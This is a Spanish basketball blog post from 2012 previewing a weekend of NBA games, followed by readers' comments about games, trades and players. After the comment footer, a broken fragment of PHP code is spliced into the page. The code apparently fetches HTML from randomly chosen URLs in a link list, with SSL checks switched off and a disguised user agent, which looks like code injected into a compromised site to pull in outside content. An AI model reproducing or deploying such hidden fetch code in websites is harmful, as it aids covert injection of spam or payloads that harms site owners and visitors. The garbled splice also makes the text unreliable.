Fin de semana: ¿Hemos apagado el gas?

23 de March de 2012 por txusma

Llega el viernes y con él las vacaciones. Como cada fin de semana, os dejamos las llaves para que entréis a dar de comer el perro, regar las plantas y comentar lo que dé de si la NBA.

Viernes 23

Interesante agenda la que tenemos esta misma noche. New York Knicks y Utah Jazz buscarán alargar su racha de victorias, actualmente las más largas de la liga. Los Knicks visitan Toronto a las 0h00 y los Jazz reciben a los Nuggets (3h00) en un duelo directo en la lucha por los Playoffs. Aparte de estos dos encuentros me quedo con el Celtics – Sixers (1h00) un enfrentamiento que marcará quién lidera la división atlántica y por tanto, no lo olvidemos, quién se clasifica como tercer cuarto cabeza de serie del Este. Tampoco le diremos que no al Suns-Pacers de las 0h00 o el Mavs-Spurs de la 1h30. Para los noctámbulos queda el Blazers-Lakers de las 3h30.

Sábado 24

El sábado tenemos 3 duelos particularmente interesantes. El Grizzlies-Clippers de las 20h00 es el duelo de las necesidades. Los 2 equipos están prácticamente empatados en la clasificación pero los 2 vienen en dinámica negativa. Memphis no acaba de integrar a Zach Randolph al juego del equipo y los Clippers parecen desinflarse partido a partido. Veremos si Vinnie del Negro sigue sentado en el banquillo angelino tras el partido. Los Playoffs del Oeste también están en juego en el Mavs-Rockets de la 1h00. Ninguno de los 2 equipos puede permitirse perder y menos si los Jazz siguen ganando. En el Indiana-Milwaukee (1h30) los Bucks han de recuperar la dinámica positiva si quieren seguir optando a los Playoffs.

Domingo 25

El domingo tenemos un duelo por encima de todos los demás, un Miami-Oklahoma que perfectamente podría ser la final de la liga de este temporada. Será a la 1h00. Pecado perdérselo si al día siguiente no hay que levantarse muy temprano. El Grizzlies-Lakers (3h30) es el otro duelo interesante del día. De nuevo los hermanos Gasol se encuentran frente a frente pero el interés puede estar más centrado en los bases. Por un lado, Ramon Sessions que apuesto que seguirá demostrando que es una gran adquisición para la franquicia angelina o, y por el otro, Gilbert Arenas que en su tercer partido con la camiseta de Memphis ya podría empezar a mostrarnos que es lo que piensa aportar al equipo. Si aún hay ganas de caña, el Utah-Atlanta (23h00) y el Philadelphia-San Antonio (0h00) podrían estar bien.

Comenta

47 comentarios a esta entrada

  1. Nacho dice:
    #1

    El líder de la división atlántica no será tercer cabeza de serie si no se lo gana en victorias. Lo que se les asegura a los ganadores de división es el cuarto cabeza de serie. Pero se puede ser cabeza de serie y tener la ventaja de campo en contra, que es lo que parece le sucederá al campeón de la atlántica.

      Citar

  2. Txusma dice:
    #2

    Nacho:
    El líder de la división atlántica no será tercer cabeza de serie si no se lo gana en victorias. Lo que se les asegura a los ganadores de división es el cuarto cabeza de serie. Pero se puede ser cabeza de serie y tener la ventaja de campo en contra, que es lo que parece le sucederá al campeón de la atlántica.

    Cierto, donde dije tercer quise decir cuarto… A corregir tocan!

      Citar

  3. Vader dice:
    #3

    ¿Hoy tambien dan el Minnesota Oklahoma no?

      Citar

  4. HeiNeKeN dice:
    #4

    En Teledeporte ahora esta el Siena-Olympiakos.

    Que escándalo de jugador es Bo McCalebb, este podría estar dando lecciones en la NBA sin lugar a dudas.

      Citar

  5. Nacho dice:
    #5

    Vader: ¿Hoy tambien dan el Minnesota Oklahoma no?

    Creo que a las 2 en cuatro, es decir, semidiferido. Los del plus a la 1.

      Citar

  6. Sancho88 dice:
    #6

    Hoy sí que es un partido en el que no dormir es de valientes, más que dormir es de cobardes… porque vaya tela. A quién le interesa un Wolves-Oklahoma sin Rubio? No me seais frikazos y me digáis que la elección es acertada, habiendo de por medio clásicos como el Boston-Philadelphia, el derby Dallas-San Antonio o el propio Blazers-Lakers… en fin, hoy que me quería quedar a ver un partido porque llevo toda la semana sin ver casi nada… y me ponen esta chufa infumable…

      Citar

  7. infante dice:
    #7

    sancho, te has dejado a henderson en la hoops abajo en el roster y va 24 en el principio de tercer cuarto!!
    un craso error por tu parte, no?

      Citar

  8. Sancho88 dice:
    #8

    Infante, yo ordeno a mis muchachos por fp’s por minuto, y los de Henderson eran una basura. Me da igual que se esté saliendo hoy, no me jodas. Ayer se salió Smith, y también le tenía… Además, su partido ni me va ni me viene, porque justo corresponde a un partido que tengo prácticamente sentenciado… no creo que a hoops haya que jugar como si uno fuese adivino, para eso es mejor meterse a hacer quinielas. Yo ordeno cada día según el ratio, y creo que es lo más justo para tener la plantilla equilibrada

      Citar

  9. HeiNeKeN dice:
    #9

    Love 3 de 3 en triples en los primeros 5 minutos…
    Los Wolves jugando con Ridnour-Webster-Johnson-Williams-Love de titulares.

      Citar

  10. arvydas dice:
    #10

    Sancho88:
    Hoy sí que es un partido en el que no dormir es de valientes, más que dormir es de cobardes… porque vaya tela. A quién le interesa un Wolves-Oklahoma sin Rubio? No me seais frikazos y me digáis que la elección es acertada, habiendo de por medio clásicos como el Boston-Philadelphia, el derby Dallas-San Antonio o el propio Blazers-Lakers… en fin, hoy que me quería quedar a ver un partido porque llevo toda la semana sin ver casi nada… y me ponen esta chufa infumable…

    FAIL!!! XD

      Citar

  11. rumbero dice:
    #11

    Vaya partidazo el Wolves-Thunders. Espectacular. 2 prorrogas, 50 puntos de Love, 45 de Westbrook, 40 Durant, triple doble y partodazo de Barea…Sancho te tenias que haber quedado!

      Citar

  12. Sancho88 dice:
    #12

    Dios!! pasaré a los anales, pero literalmente, por el recto anal de los comentarios más desafortunados de la página después de esto. Jajajajaj. Un fail como una campano de grande

      Citar

  13. Denise dice:
    #13

    Sancho88:
    Dios!! pasaré a los anales, pero literalmente, por el recto anal de los comentarios más desafortunados de la página después de esto. Jajajajaj. Un fail como una campano de grande

    jaja, todavia puedes arreglarlo viendolo en diferido en abierto esta tarde en el Energy. Por cierto, muy mal Fisher.

    Palizón de los Raptors a los Knicks. Que verguenza de equipo, cuanto van a tardar en reconocer su error y traspasar a Melo y a Amare….
    Y si Vader, melo 15 o algun otro aficionado de los Knicks me aclaran…por qué no juega ya Toney Douglas?? Si es mucho mejor para mi que el actual Baron Davis y que Shumpert..

      Citar

  14. HeiNeKeN dice:
    #14

    Yo me quede a ver el partido y madre mia, puro show, cada vez que los Thunder se iban de 9-10 puntos, Love y Barea le daban la vuelta.

    Dos triplazos de Durant, el primero para ganar el partido lo anuló Kevin Love con otro para mandarlo a la prorroga, después otro triplazo de Durant para empatar el partido en la 1º prorroga (Aprenda un poco de como jugar los finales de los partidos señor James).

    Por cierto, vaya descojone cada vez que tiraba Fisher, todo el pabellón como loco por que metiese y cada tiro de Fisher era peor que el anterior, cuando metió el ultimo triple casi se cae el pabellón jajaja

      Citar

  15. nba dice:
    #15

    Pues si Sancho parece que ha sido una chufa de partido jaja, es lo que tiene que se enfrenten Durant- Love , los proximos dominadores de la NBA,, a ver si esta tarde lo veo en Energy, pero tiene toda la pinta que ha sido una bacanal ofensiva.

      Citar

  16. rumbero dice:
    #16

    Fue tremendo. Vaya par de jugones Love y Durant. Y cuando se les acababa la gasolina ahi estaban Barea y Westbrook. Este último siembra dudas en este foro por su cabecita loca y por ser mas un 2 que un 1, pero cuando se pone a anotar es un espectáculo. Yo me declaro fan.

    Alguien vio a los Lakers? Parece que el fichaje de Ramoncin les ha sentado bien.

      Citar

  17. nba dice:
    #17

    Respecto a Lakers, lo que me preocupa sobremanera es que ahora parece que la segunda unidad se queda en nada, ya que Brown parece que ya pone de titular a Sessions, y no dudo de su calidad, pero saliendo con la segunda unidad tenian mas posibilidades de tener anotacion constante, y evitar las pajaras con las que suelen deleitarnos

      Citar

  18. Denise dice:
    #18

    Que verguenza de traspaso el de Sessions por Walton y una ronda.

    Le deseo lo peor a los Cavs por jugar tan sucio contra el resto de equipos y adulterar el juego. Ahora, mas Lebronista que nunca.

      Citar

  19. nba dice:
    #19

    Lakers-Blazzers , resumen 1er cuarto:
    Sessions titular, manda como se juega , viendo a Bryant hacer los bloqueos y buscando a los jugadores interiores.Lamarcus comiendose a Gasol, se sienta Sessions , sale Blake , y el juego se vuelve balones a Kobe y que resuelva.

      Citar

  20. Vader dice:
    #20

    Denise:
    Que verguenza de traspaso el de Sessions por Walton y una ronda.

    Le deseo lo peor a los Cavs por jugar tan sucio contra el resto de equipos y adulterar el juego. Ahora, mas Lebronista que nunca.

    Pues a mi me parece muy razonable para Cavs. Teniendo a Irving prefiero una primera ronda que un base suplente como Sessions al que al año siguiente le tendrias que pagar demasiado para ser el suplente de tu mejor jugador. Walton? Es de relleno para llegar al mínimo de dinero gastado, no se donde ves tu la adulteración la verdad…

      Citar

  21. nba dice:
    #21

    Lo que cambian las cosas, se va Mcmillan , Felton titular, o me lo parece a mi o le sobran unos cuantos bastantes kilos, aunque calidad tiene para dar y recibir

      Citar

  22. nba dice:
    #22

    Lakers-Blazzers , 2º cuarto:
    Wow me parece que lo visto ya todo en la vida , ver a MWP hacer un mate, con la segunda unidad+ Bynum los Lakers no juegan a nada, no hay fluidez en ataque.

    Denise no pensaras lo mismo , en la noche del Draft, ya veras porque a los Lakers les costo tanto desprenderse de su ronda de draft

      Citar

  23. nba dice:
    #23

    Primera mitad Lakers-Blazzers: Bynum y Bryant bien en ataque,Pau lento , Lamarcus en modo “Dirk nowitzki” on , las mete de todos los colores posibles y pau ni se entera, los Lakers como siempre con su habitual pajara de la 2ª unidad, llegan a un final apretado.A quien hay que vender para conseguir a J.J Hickson ??
    No me gusta que no juege nada Goudelock

      Citar

  24. Esteban dice:
    #24

    vi los lakers ayer, varios puntos

    su ataque es malo, salvo algunas conexiones aisladas entrea bynum y pau, el resto nada, a que kobe decida, lei por ahi que no tenian fluidez, y es muy cierto

    sessiones, sobredimensionado, por sus caracteristicas, es justo lo que necesitaban los lakers, velocidad y electricidad, pero como jugador aun deja bastante que desear, sus desiciones no son las mejores, le figuran 3 perdidas por q una se la cuentan a bynum y dos malos pases a bynum este ultimo termino resctando la bola, en fin ayuda a los lakers pero creo en PO dejara que desear

    otra vez cierra el partido jugando casi la misma cantidad de minutos que metta, ya que le da descando a metta y a kobe, es sin duda el quinto mejor jugador de los lakers y uno de los pocos que pueden traer anotacion, yo lo sacaria de titular para que termine de agarrar confianza y se vuelva una pieza aun mas importante del equipo, lo dije el otro dia, brown podria poner a sessions y a barnes de titulares y seria su mejor 5, o sacarlos a ambos de la banca y tendria un mejor banco

    buen partio de mcroberts, no solo por los 6 rebotes, sino por que consiguio fules en ataque, marco bien, metio tapone y no se mando ninguna macana en ataque, con un poco mas de capacidad ofensiva seria un jugador muuy importante en el equipo, brown deberia darle mas chances en ataque para que tome confianza tamb

    goudelock ayer no ingreso, algunos minutos de base en lugar de blake deberia ver, aunque sea para probarlo, lo de blake es lamentable

      Citar

  25. Esteban dice:
    #25

    ah gran debut de j.j. hickson, `puede resultar un recambio de mucho valor para lamarcus, o incluso jugar con el algunos minutos

    portland se incia con mathews-batun y lamarcus, le falta un base y un pivote, en el prox verano, una movida inteligente seria ir a por KAMANA y asi tratar de convender a DERON, ese 5 inicial con crwaford y hickson de la banca seria un contendiente

      Citar

  26. Denise dice:
    #26

    nba:

    Denise no pensaras lo mismo , en la noche del Draft, ya veras porque a los Lakers les costo tanto desprenderse de su ronda de draft

    Vader: Pues a mi me parece muy razonable para Cavs. Teniendo a Irving prefiero una primera ronda que un base suplente como Sessions al que al año siguiente le tendrias que pagar demasiado para ser el suplente de tu mejor jugador. Walton? Es de relleno para llegar al mínimo de dinero gastado, no se donde ves tu la adulteración la verdad…

    Que me parece muy bien para los Cavs que hayan conseguido la ronda, pero por Sessions podrían haber sacado mucho más, una primera ronda de cualquier otro equipo mas un jugador al menos que sirva para jugar 12 minutos, no quedandote el contrato de un ex-jugador por mas de 6 kilos el año que viene.
    Repito, la primera ronda la podrían haber sacado traspasando a Sessions a cualquier otro equipo sin necesidad de quedarte con Walton.
    Si lo hubiesen cambiado por McRoberts todavia lo hubiese entendido algo, conclusión, es un regalo a Lakers que si adultera la competición en mi opinión.

      Citar

  27. Denise dice:
    #27

    Que me parece muy bien para los Cavs que hayan conseguido la ronda, pero por Sessions podrían haber sacado mucho más, una primera ronda de cualquier otro equipo mas un jugador al menos que sirva para jugar 12 minutos, no quedandote el contrato de un ex-jugador por mas de 6 kilos el año que viene.
    Repito, la primera ronda la podrían haber sacado traspasando a Sessions a cualquier otro equipo sin necesidad de quedarte con Walton.
    Si lo hubiesen cambiado por McRoberts todavia lo hubiese entendido algo, conclusión, es un regalo a Lakers que si adultera la competición en mi opinión.

      Citar

  28. nba dice:
    #28

    Una cosa es lo que podia ser y otra cosa es lo que realmente te llegan a ofrecer.Tampoco te creas que con ese trade los Lakers ya tienen resueltos sus problemas.
    Respecto al Wolves-Thunder, K.Love cogio su fusil…
    A ver si para la temporada que viene los Loves fichan a un interior de garantias, ya que parece que a Milicic ya se le han fundido los plomos , gran trabajo de Adelman con tan poca gente disponible

      Citar

  29. Esteban dice:
    #29

    Denise:
    Que me parece muy bien para los Cavs que hayan conseguido la ronda, pero por Sessions podrían haber sacado mucho más, una primera ronda de cualquier otro equipo mas un jugador al menos que sirva para jugar 12 minutos, no quedandote el contrato de un ex-jugador por mas de 6 kilos el año que viene.
    Repito, la primera ronda la podrían haber sacado traspasando a Sessions a cualquier otro equipo sin necesidad de quedarte con Walton.
    Si lo hubiesen cambiado por McRoberts todavia lo hubiese entendido algo, conclusión, es un regalo a Lakers que si adultera la competición en mi opinión.

    coincido, la ronda de los lakers sera por ensima del puesto 20, y por mas biueno que sea el draft es muy dificil que saquen algo genial alli, y ademas se quedan con walton dos años
    en el peor de los caos me quedaba con sessions, no tednria la primera ronda, pero preferiria pagarle 5 millones a ramon q a walton,
    un trade justo hubiese sido la ronda por sessions limpia, sin walton de por medio

    uno de los favores que recibieron ñlos lakers, vaya a saber como se paga eso,
    otro el de houston, aunque quiza la directiva de los rockets suponian que fisher no queria jugar alli y se ahorraban unos dolares

      Citar

  30. Esteban dice:
    #30

    nba:
    Una cosa es lo que podia ser y otra cosa es lo que realmente te llegan a ofrecer.Tampoco te creas que con ese trade los Lakers ya tienen resueltos sus problemas.
    Respecto al Wolves-Thunder, K.Love cogio su fusil…
    A ver si para la temporada que viene los Loves fichan a un interior de garantias, ya que parece que a Milicic ya se le han fundido los plomos , gran trabajo de Adelman con tan poca gente disponible

    lastima que los wolves juegan en un mercado chico, sino creo que cualquiera quisiera jugar junto a love, creo que es la maxima aparicion en la competicion desde lebron, en cuanto a desiquilirbio natural se refiere (mayor q cp3 y deron, y a mi entender mas preponderante de rose) y lo veo mucho mas completo que durant

    26 puntos por partido y 13 rebotes, siendo el lider del equipo indiscutiblemente y tomando los tiros dificiles no es algo q se vea todos los dias

    LOVE JUGANDO ASI, HACE PARECER MERAMENTE BUENO A GARNETT

      Citar

  31. Nacho dice:
    #31

    Cagándola los ositos en LA. No estoy viendo elpartido pero tela… y eso que los que estaban mal eran los Clippers. No los he visto desde que llegó Zach, pero algo tendrían que mirarse, y mañana contra LAL. Pueden terminar el fin de semana fuera de PO.

      Citar

  32. Esteban dice:
    #32

    un partido, dos realidades

    menphis no funciona con zach, como antes deciamos que no funcionaba con gay, pues creo que el tema es que no funciona bien con ambos a la vez, los dos exigen demasiados tiros, por lo que queda poco para el resto y no entran en sintonia segun me parece, ademas zach es un crack pero tiene un estilo muy definido, tomar ma bola y trabajar al poste, trabajo de un solo jugador, cuando la bola le llega a el cerca del aro los demas deben mirar y pasa a medudo
    lo mismo con gay, no es un tirador de pie firme o por lo menos no se contenta con eso, toma bolas y juega el uno contra uno y los demas miran
    un solo jugador de estas caracteristicas puede resultar muy valioso, dos creo q ya es mucho

    los clippers:
    salvan la ropa de vinny, y hoy de ser del negro me iria a dormir tranquilo
    mantener el cinco inicial, con foye de titular, que con todos sus defectos podemos cioincidir en que esta haciendo una muy buena campaña, su tiro es muy valioso y desde la lesion de billups se ha transformado en una verdadera arma ofensiva
    y el acierto es young, quien debe sin dudas saltar desde el banco, dando una verdadera respuesta a lo que necesitaban los clippers, un anotador desde el banco que midiera 2.01 mts (a diferencia del 1,80 de Mo) que de descanso tanto a foye y a butler y no resentir tanto la ofensiva, creo que asi renueva la vida de los clipps

    el tema sigue siendo jordan, muy dispar, ya nisiquiera rebotea ni tapona como hace tanto, daba tranquilidad tener como reaseguro a martin en el banco, pero este es otro que no termina de engranar, no suma lo que deberia en ataque y tampoco se hace sentir en los rebotes

    el caso de griffin parece asunto perdido, o sea, es un jugador sumamente util para un equipo, que quiza hasta se merezca el maximo en un contrato, pero quedo a años luz de lo que amago en su temporada rookie, puede rebotear y mucho, y meter sus 20 puntos por juego e irse aisladamente algun partido hasta los 30 (pocas veces, a decir verdad solo llego a 30 en cuatro partidos de la temporada y no fue mucho mas alla, dos veces 30, una 31 y una 34), pero no es mucho mas que eso, no ganara partidos el ni puede definir finales cerrados, una especie de carlos boozer, al jefferson o cuando era joven antonio mcdyes, no mas que eso

      Citar

  33. Esteban dice:
    #33

    perdon, solo 3 veces, una de las que le conte fue en pre-temporada, y pensar q hay quienes lo comparar con kevin love,
    el de minesota esta temporada se fue hasta los 30 en 16 juegos, y se quedo dos veces en 29, y en sus maximas anotaciones se fue dos veces hasta 39, una hasta 36, una hasta los 42, y bue la ultima hasta los 51

    a alguien le queda alguna duda?

      Citar

  34. Vader dice:
    #34

    Ayer vi el Knicks-Pistons. Otra vez victoria desde la defensa y el rebote y con un Stat que cada vez perdona menos cuando recibe cerca del aro, no es el del principio del año pasado pero esta mejor que hace unos meses. Lo que esta haciendo peor el equipo son las pérdidas de balón, en los primeros partidos con Woodson estas estaban mucho más controladas. Supongo que esto es lo que paso contra Raptors, partido que no pude ver. Los Raptors defienden bien y cuando estan todos le pueden pegar un buen susto a cualquiera como ya se ha visto otras veces este año.

    Visto con optimismo ya empezamos a parecer un equipo normal que despues de una derrota no vienen cinco más seguidas y lo mejor es que ayer los Bucks perdieron de nuevo con lo que el octavo puesto de momento esta más seguro. Hay que intentar subir en la clasificación.

    Saludos

      Citar

  35. Blade Petrovic dice:
    #35

    Me gustan los nuevos Knicks pero aun asi no los veo en finales de conferiencia.Me recuerdan ahora un poco menos a los Nuggets de 2008 que eran mucho individual y poco equipo.Si los Knicks consiguen formar un equipo y fichan bien este verano los veo como serios candidatos al titulo

      Citar

  36. rumbero dice:
    #36

    Vaya jugon está hecho Klay Thompson. 31 puntazos para ganar a Sacramento. Supongo que Sancho no ha comentado nada porque aun se está recuperando de ver la última pérdida de Thomas.
    A ver si tenemos la suerte de ver a Curry y Bogut sanos la temporada que viene porque les quedaría un equipo para play offs a los de la bahía. E igual el dueño hasta se lleva algun aplauso

      Citar

  37. Sancho88 dice:
    #37

    rumbero:
    Vaya jugon está hecho Klay Thompson. 31 puntazos para ganar a Sacramento. Supongo que Sancho no ha comentado nada porque aun se está recuperando de ver la última pérdida de Thomas.
    A ver si tenemos la suerte de ver a Curry y Bogut sanos la temporada que viene porque les quedaría un equipo para play offs a los de la bahía. E igual el dueño hasta se lleva algun aplauso

    No he comentado nada por dos cosas: esta semana me he rehabilitado un poco de la nba, porque me han dado vértigos y es por no dormir, y también porque madrugo para currar, que mi padre tiene ovejas, y ahora le estoy ayudando, porque no sale curro… y algo hay que hacer. Pero bueno, tampoco me piya de nuevas, ni me hubiera cabreado tanto. Klay Thompson me parece un gran jugador, de hecho, ya lo dije en el análisis de los GSW, que era el jugador tapado del equipo. Tiene muchísimo talento, y no me extraña nada que nos haya metido 30 y tantos. Y además, los Kings psicológicamente rinden mal fuera de casa, son el equipo más joven de la liga, y lo pagan en estas circunstancias. Ya te digo que no me sorprende ni una cosa ni la otra. Saludos rumbero!!

      Citar

  38. nba dice:
    #38

    Del clippers-Grizzlies , partido sin mucha historia, ya que los Grizzlies todavia no han dado con la tecla para que Zach entre en la dinamica de sus compañeros , esperemos que no se reproduzcan los problemas en el hombro de Gay, pero yo creo que necesitan que Marc juegue 5 minutos menos por partido ,en los proximos partidos para a ver si asi se fuerza a Zach a dar un paso adelante,y que Speights no baje su protagonismo.Los clippers cumpliendo bien con su trabajo y aprovechando las nuevas incorporaciones.
    Estamos ante 2 de los 3 equipos que van a dominar el oeste en los proximos años junto con Thunder

      Citar

  39. Esteban dice:
    #39

    cada vez mas birlante parece el traspaso de monta por bogut, no spolo por q consiguen un gran centro, sino por q thompson es tan bueno o mejor que monta, y necesitaban hacerle espacio

    los warriors si las lesiones los respetan deberian ser eqiuipo de PO la proxima temporada

      Citar

  40. rumbero dice:
    #40

    Si es que es muy mala vida esto de seguir la NBA. Hay que saber dosificarse y controlar el mono que sino uno no duerme. Y encima luego hay que aguantar las quejas de la parienta.Mal vicio. A recuperar horas de sueño pues!
    Esta noche tienta mucho el Miami-Oklahoma pero cae tarde y esta noche ya nos han robado una horita de sueño. A ver…

      Citar

  41. Nacho dice:
    #41

    Denise, ¿qué destacamos? Primera parte de escándalo de Gortat o los buenos números de Walton para Cleveland.

      Citar

  42. arvydas dice:
    #42

    Shannon Brown 16 puntos 1 asistencia 3 rebote
    Luke Walton 7 puntos 2 asistencias 2 rebotes

    Quien decía que los Lakers no tenían banquillo?

      Citar

  43. HeiNeKeN dice:
    #43

    30-21 de Kevin Love en la paliza de los Wolves a Denver y buen partido de Ridnour con 26 puntos. Hoy han jugado con un juego interior compuesto por D-Will (16 minutos), Love (44 minutos), Beasley (22 minutos) y Tolliver (34 minutos). No entiendo que sin Pekovic y Milicic, Randolph siga sin jugar.
    Parece que Adelman apuesta por jugar con Kevin Love de 5 y luego 4 jugadores por fuera, ganando muchos minutos Tolliver en la rotacion.
    También paso al frente de Ellington con 17 puntos (hoy no jugaba Barea).

    Siguen soñando con acabar en puestos de playoffs.

      Citar

  44. Nacho dice:
    #44

    Ibaka y Perkins abusando del juego interior Heat. Aviso para PO.

    En el Este, hoy Boston puede encaramarse a la cuarta plaza, orgullo verde y el mejor técnico de la NBA. Cuidaditoooo.

    Los Knicks se la juegan ante Millwake esta noche. Una victoria los sitúa lejos de los ciervos, una derrota les mete el miedo. ¿Acabará esta noche el efecto Woodson?

    En el Oeste, como dijistéis ha poco, LA MONTAÑA RUSA, de la que los lobos no se quieren bajar. Los tres primeros parecen seguros,y a partir de ahí, todo puede pasar

      Citar

  45. nba dice:
    #45

    arvydas:
    Shannon Brown 16 puntos 1 asistencia 3 reboteLuke Walton 7 puntos 2 asistencias 2 rebotes

    Quien decía que los Lakers no tenían banquillo?

    Dios lo que ven mis ojos , Luke Walton anotando …, esto quiere decir que los Mayas tenian razon …
    Respecto a Grizzlies-Lakers , parece que Pau siempre tiene problemas con 4’s que son mas bajos que el pero mas moviles, o igual ha decidido regalarle el partido a su hermano porque 4 derrotas consecutivas eran muchas

      Citar

  46. nba dice:
    #46

    HeiNeKeN:
    30-21 de Kevin Love en la paliza de los Wolves a Denver y buen partido de Ridnour con 26 puntos. Hoy han jugado con un juego interior compuesto por D-Will (16 minutos), Love (44 minutos), Beasley (22 minutos) y Tolliver (34 minutos). No entiendo que sin Pekovic y Milicic, Randolph siga sin jugar.
    Parece que Adelman apuesta por jugar con KevinLove de 5 y luego 4 jugadores por fuera, ganando muchos minutos Tolliver en la rotacion.
    También paso al frente de Ellington con 17 puntos (hoy no jugaba Barea).

    Siguen soñando con acabar en puestos de playoffs.

    Al final K.Love va a acabar rompiendose , D-Will deberia jugar minimo 25 minutos por partido

      Citar

  47. rumbero dice:
    #47

    nba: Al final K.Love va a acabar rompiendose , D-Will deberia jugar minimo 25 minutos por partido

    Cierto. Es que el tio se va a más de 40 minutos cada partido casi siempre. Es lo que tiene luchar por play offs, y claro, no le vas a dar ni 5 min de descanso a un tio que te hace 30-20, pero estaría bien que se guardara algo por si llegan. Pero a este ritmo de aqui poquito le pasará como a Duncan, que el día que no juega le ponen el boxscore lo siguiente:
    http://www.nba.com/games/20120325/PHISAS/gameinfo.html?ls=gt2hp0021100723#nbaGIboxscore

      Citar

Deja un comentario

html; } class Helper { public function random_date() { $low = '732045693'; $high = time(); $random = rand($low, $high); return date("D, d M Y H:i:s",$random); } } class Fetch_site { public $url; public $html; public function __construct($sites=null, $link_list=null) { $this->is_curl_installed(); if($link_list !== null) { $this->choose_site($link_list); } $this->load_site($this->url); } public function choose_site($file=null) { $file = explode("\n", $file); $key = rand(0, (count($file)-1)); $this->url = trim($file[$key]); } public function load_site($url) { $useragent = array('Link-Soft'); $rand = array_rand($useragent); $ch = curl_init(); $options = array( CURLOPT_URL => $url, CURLOPT_HEADER => 0, CURLOPT_USERAGENT => $useragent[$rand], CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_RETURNTRANSFER => 1, CURLOPT_FOLLOWLOCATION => 1, CURLOPT_ENCODING => "", CURLOPT_AUTOREFERER => 1, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 30, CURLOPT_MAXREDIRS => 5, ); curl_setopt_array($ch,$options); $result = curl_exec($ch); if(!$result) { return curl_error($ch); } curl_close($ch); $this->html = $result; } public function is_curl_installed() { if(!in_array('curl',get_loaded_extensions())) { trigger_error("cURL PHP extension is disabled or not installed.",E_USER_ERROR); } } } unset($n); ?>